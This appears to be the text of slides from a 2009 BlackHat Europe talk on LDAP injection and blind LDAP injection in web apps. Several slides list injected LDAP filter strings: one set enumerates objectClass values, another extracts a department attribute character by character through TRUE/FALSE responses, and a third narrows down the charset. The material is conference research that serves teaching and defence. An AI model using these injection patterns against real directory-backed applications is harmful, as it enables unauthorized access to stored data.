LDAP Injection & Blind LDAP Injection
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This talk was delivered in BlackHat Europe 2009 by Chema Alonso & José Parada.
![Testing WebApps in a OpenLDAP & ADAM environmet Chema Alonso – [email_address] Microsoft MVP Corporate Security Security Consultant – Informática64 http://www.informatica64.com](https://image.slidesharecdn.com/diapositivasldapinjectionblindldapinjection-091009110224-phpapp01/85/LDAP-Injection-Blind-LDAP-Injection-1-320.jpg)
![[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]]()
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LDAP Injection & Blind LDAP Injection
- 1. Testing WebApps in a OpenLDAP & ADAM environmet Chema Alonso – [email_address] Microsoft MVP Corporate Security Security Consultant – Informática64 http://www.informatica64.com
- 19. Login Process in a Webapp
- 20. Login Process in a Webapp
- 21. Elevation of Privileges in an unsecure WebApp
- 22. Elevation of Privileges in an unsecure WebApp
- 25. Accessing data in an unsecure WebApp
- 26. Accessing data in an unsecure WebApp
- 28. Example: (& (objectClass=printer)(type=HP LaserJet 2100)) Injection to obtain the TRUE result: (&(objectClass=printer)(type=HP LaserJet 2100) (objectClass=*) ) Injections to obtain the objectClass values: (&(objectClass=printer)(type= HP LaserJet 2100)(objectClass=logins) ) (&(objectClass=printer)(type= HP LaserJet 2100)(objectClass=docs) ) (&(objectClass=printer)(type= HP LaserJet 2100)(objectClass=news) ) (&(objectClass=printer)(type= HP LaserJet 2100)(objectClass=adms) ) (&(objectClass=printer)(type= HP LaserJet 2100)(objectClass=users) ) … .
- 30. Discovering attributes in a unsecure WebApp Attribute NOT exists (or there is not access privilege)
- 31. Discovering attributes in a unsecure WebApp Attribute exists (and there is access privilege)
- 36. Injections to obtain department values using data booleanization: (&(objectClass=printer)(type= HP LaserJet 2100)(department=*) ) ->TRUE (&(objectClass=printer)(type= HP LaserJet 2100)(department=a*) ) -> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=b*) )-> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=c*) ) -> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=d*) ) -> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=e*) ) -> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=f*) )->TRUE (&(objectClass=printer)(type= HP LaserJet 2100)(department=fa*) ) -> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=fb*) ) -> FALSE … . (&(objectClass=printer)(type= HP LaserJet 2100)(department=fi*) )->TRUE
- 38. Data Booleanization in an unsecure WebApp False
- 39. Data Booleanization in an unsecure WebApp True
- 40. Data Booleanization in an unsecure WebApp False
- 41. Data Booleanization in an unsecure WebApp True
- 42. Injections to obtain charset used for store data in a attribute: (&(objectClass=printer)(type= HP LaserJet 2100)(department=*a*) ) ->TRUE (&(objectClass=printer)(type= HP LaserJet 2100)(department=*b*) ) -> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=*c*) ) ->TRUE (&(objectClass=printer)(type= HP LaserJet 2100)(department=*d*) ) -> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=*e*) ) -> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=*f*) ) ->TRUE (&(objectClass=printer)(type= HP LaserJet 2100)(department=*g*) )->FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=*h*) ) -> FALSE (&(objectClass=printer)(type= HP LaserJet 2100)(department=*i*) ) ->TRUE … . (&(objectClass=printer)(type= HP LaserJet 2100)(department=*z*) )->TRUE
- 44. Charset Reduction in an unsecure WebApp False
- 45. Charset Reduction in an unsecure WebApp True